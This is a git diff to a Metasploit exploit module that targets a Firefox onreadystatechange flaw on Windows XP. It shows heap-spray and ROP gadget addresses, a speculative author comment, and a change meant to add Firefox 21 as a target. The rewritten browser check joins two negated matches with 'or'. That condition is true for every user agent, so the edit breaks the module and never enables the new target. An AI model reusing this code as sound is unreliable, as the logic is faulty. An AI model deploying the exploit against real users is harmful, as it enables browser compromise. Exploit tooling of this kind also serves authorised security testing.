diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb
index 7b7651ddc3..91eecd17fd 100644
--- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb
+++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb
@@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			'Author'         =>
 				[
 					'Nils',        # vulnerability discovery
-					'Unknown',     # 1day exploit
+					'Unknown',     # 1day exploit, prolly the FBI
 					'w3bd3vil',    # 1day analysis
 					'sinn3r',      # Metasploit module
 					'juan vazquez' # Metasploit module
@@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			'Platform'       => 'win',
 			'Targets'        =>
 				[
-					[ 'Firefox 17 / Windows XP SP3',
+					[ 'Firefox 17 & Firefox 21 / Windows XP SP3',
 						{
 							'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
 							'RetGadget'  => 0x77c3ee16, # ret from msvcrt
@@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			return
 		end
 
-		if agent !~ /Firefox\/17/
+		if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/
 			print_error("Browser not supported, sending 404: #{agent}")
 			send_not_found(cli)
 			return